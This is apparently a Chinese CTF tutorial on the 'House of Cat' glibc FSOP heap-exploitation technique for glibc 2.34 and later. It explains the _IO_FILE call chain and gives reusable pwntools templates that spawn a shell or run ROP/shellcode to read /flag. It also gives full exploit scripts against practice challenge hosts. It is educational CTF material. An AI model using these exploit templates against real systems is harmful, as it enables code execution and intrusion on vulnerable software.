Index
序言
随着 GNU 持续不断的更新,在 Glibc 2.34,__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除,意味着如果题目开了 Full RELRO,我们几乎无从下手…?
事实上,我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新,_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。
House of Cat 可以在任意版本利用,但是三种触发方式,有一种从高版本被移出Libc, _malloc_assert 在 Glibc 2.35 之后被移除,目前只剩下一种利用方式仍然可以打任意版本:FSOP。
利用 FSOP 调用 House of Cat
FSOP,全称 File Stream Oriented Programming,是一种通过伪造 _IO_FILE 结构体来实现的攻击,FSOP的完整调用链如下(仅包含关键函数):
exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。
利用条件
能够写一个可控地址
能够泄露堆地址以及Libc基址
能够触发IO流(FSOP,__malloc_assert)
伪造IO流条件
_IO_save_base > 0
_IO_write_ptr > _IO_write_base
mode > 0 (mode = 1)
完整调用链分析
exit() 函数会调用 __run_exit_handlers 进行收尾工作,在处理 _IO_FILE 结构体时,会调用 _IO_cleanup 函数。
而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush ,同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。
_IO_OVERFLOW 实际上是一个宏定义函数,展开如下:
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏,_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间,如果不合理会直接抛出致命错误然后退出程序。
通过劫持 vtable 指向的函数到我们所需的特定函数: _IO_wfile_seekoff 我们得以进行利用。
为什么一定要是 _IO_wfile_seekoff 呢?在上文我们调用 _IO_flush_all_lockp 时,存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。
也就是:
_IO_FILE 结构体的 mode 必须大于0
_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base
vtable 的偏移必须为0
这三个条件都是可以达成的,我们可以通过伪造 _IO_FILE 结构体实现,再看看 _IO_wfile_seekoff 函数。
眼熟吗?_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base,mode 大于0。刚好全部满足。
我们伪造的条件会使得我们进入最底下的语句。
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
我们来查看 _IO_switch_to_wget_mode 做了什么事。
然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。
_IO_switch_to_wget_mode 中存在这么几条汇编代码:
<_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
<_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
<_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
<_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。
那么利用链就很清晰了:
exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。
我们只需要构造(覆写)_IO_FILE 结构体,即可完成利用。
模板
Pwntools 自带的 FileStrcture 不带 _mode,无法拿来写模板。
这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类,我把这个类提取出来放到自己的库里了。
System (one_gadget) 模板
fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_'] # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40) # mov rax, qword ptr [rax + 0xe0]
ORW模板
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40) # mov rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))
Fake_IO_File_Structure += rop
为什么需要设置 _IO_save_base 为1?
在 _IO_flush_all_lockp 函数中,有这2句代码:
<_IO_flush_all_lockp+183> mov rcx, qword ptr [rax + 0x18] RCX, [_IO_2_1_stderr_+72] => 1
<_IO_flush_all_lockp+187> cmp qword ptr [rax + 0x20], rcx 0x7f93da3c4720 - 0x1 EFLAGS => 0x212 [ cf pf AF zf sf IF df of ]
这里会调用 _IO_2_1_stderr+72 ,也就是 _IO_save_base 的内容,并赋值给RCX寄存器。
在下文中,如果RCX寄存器为0,就会跳转到另一端代码执行:
<_IO_wfile_seekoff+48> test ecx, ecx 1 & 1 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
<_IO_wfile_seekoff+50> je _IO_wfile_seekoff+1080 <_IO_wfile_seekoff+1080>
<_IO_wfile_seekoff+1080> cmp qword ptr [rax + 0x30], 0 0 - 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
<_IO_wfile_seekoff+1085> ✔ je _IO_wfile_seekoff+1504 <_IO_wfile_seekoff+1504>
这里上面两句对应的是
if (mode == 0)
return do_ftell_wide (fp);
可以从汇编看出来
当RCX为0时,程序进入了这段 if 语句。执行了 do_ftell_wide 函数,如果进入了 do_ftell_wide ,则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。
想劫持到哪就直接替换 _IO_save_end 指向的内容即可。
Demo & Exp
Libc:
#include <stdio.h>
int main()
{
puts("Gift");
printf("Address of puts: %p\n", (void*)&puts);
puts("Address showed.");
read(0, (void*)stderr, 0x1000);
return 0;
}
from PwnModules import *
io, elf = get_utils('./demo.out', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')
io.recvuntil(b'puts: ')
libc_base = recv_int_addr(io, 14) - libc.sym['puts']
show_addr('Addr: ', libc_base)
ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_'] # 伪造的fake_IO结构体的地址
# ORW 就取消掉 setcontext 等的注释即可。
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # p64(setcontext) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40) # mov rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') # + p64(fake_io_addr + 0x128) + p64(ret)
# rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))
# Fake_IO_File_Structure += rop
show_addr('_IO_2_1_stderr_: ', fake_io_addr)
show_addr('_IO_2_1_stdout_', libc_base + libc.sym['_IO_2_1_stdout_'])
io.send(Fake_IO_File_Structure)
io.interactive()
利用 __malloc_assert 调用 House of Cat
调用方式变成直接攻击 Top Chunk 即可。
满足以下三个条件之一即可触发 __malloc_assert
Top Chunk 的大小小于 MINSIZE(0x20)
Prev Inuse 位为0
Old_Top 页未对齐
例题:
题目
[NSSRound#14 Basic]Girlfriends’ notebooks
思路
使用 House of Orange 的思路,伪造 Top Chunk 的 size,释放旧 Top Chunk,泄露Libc基址
然后打 House of Cat 使用 ORW 输出 Flag。
Exp
from PwnModules import *
io, elf = get_utils('./Girlfriendsnotebooks', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')
def add(idx, size, data):
io.sendlineafter(b': ', b'1')
io.sendlineafter(b': ', str(idx))
io.sendlineafter(b': ', str(size))
io.sendafter(b': ', data)
def show(idx):
io.sendlineafter(b': ', b'2')
io.sendlineafter(b': ', str(idx))
def edit(idx, data):
io.sendlineafter(b': ', b'4')
io.sendlineafter(b': ', str(idx))
io.sendafter(b': ', data)
add(4, 0x108, p64(0) * 33 + p64(0xf51))
add(5, 0x1000, b'a' * 8)
add(6, 0xf00, b'a' * 8)
show(6)
libc_base = leak_addr(2, io) - 0x21a2f0
show_addr('Addr: ', libc_base)
ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_'] # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40) # mov rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))
Fake_IO_File_Structure += rop
show_addr('Addr: ', fake_io_addr)
# debug(io)
edit(-4, Fake_IO_File_Structure)
io.interactive()